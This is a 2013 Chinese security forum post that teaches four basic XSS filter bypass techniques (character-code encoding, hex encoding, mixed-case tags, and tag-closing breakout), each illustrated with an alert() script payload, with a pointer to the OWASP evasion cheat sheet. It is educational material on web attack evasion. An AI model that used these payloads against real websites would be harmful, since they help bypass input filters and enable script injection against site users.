找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2057|回复: 0
打印 上一主题 下一主题

XSS 绕过技术

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-14 00:10:39 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
四种超级基础的绕过方法。5 J! a8 }% {5 {7 [; i/ q
1.转换为ASCII码
) L3 {$ E" F8 p* c) F3 T例子:原脚本为<script>alert(‘I love F4ck’)</script >
: j% `+ Y& v0 T" j; ?) L通过转换,变成:* \% C( M& ~1 L
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 8216, 73, 32, 108, 111, 118, 101, 32, 70, 52, 99, 107, 8217, 41) </script>
4 G1 T4 a7 e" n. U" D# O3 o , j6 r: \: l" m6 w' v
2.转换为HEX(十六进制)( F" @# s7 U9 V' L- v4 p
例子:原脚本为<script>alert(‘I love F4ck’)</script>
4 O3 H) v) `. U" |( `& t  D通过转换,变成:
. z' Z7 b, X, ~' r%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2018%49%20%6c%6f%76%65%20%46%34%63%6b%2019%29%3c%2f%73%63%72%69%70%74%3e, o5 K) W: K# o& L
8 Z' Z+ b! d( n5 t
3.转换脚本的大小写
: `; j5 q0 f1 V( v例子:原脚本为<script>alert(‘I love F4ck’)</script>4 M1 ]- h# h# ^* I& h
转换为:<ScRipt>AleRt(‘I love F4ck’)</sCRipT>
3 X, K$ }- s2 K7 w
! b- G% f. C! Z4.增加闭合标记”>
# g, V9 W1 U5 ]% k例子:原脚本为<script>alert(‘I love F4ck’)</script>0 U' @0 g- b  v/ J) U# Z0 i6 ?# F
转换为:”><script>alert(‘I love F4ck’)</script>
0 y. x- F% d$ @: M/ @1 w+ b( T更详细绕过技术请参考此网页# v- [- ?% y1 M' y1 T8 W3 H5 [8 [
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet2 ]# E1 x7 |! v
2 Z1 b, V; h+ u; `5 N1 E
转换工具使用的是火狐的 hackbar mozilla addon.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表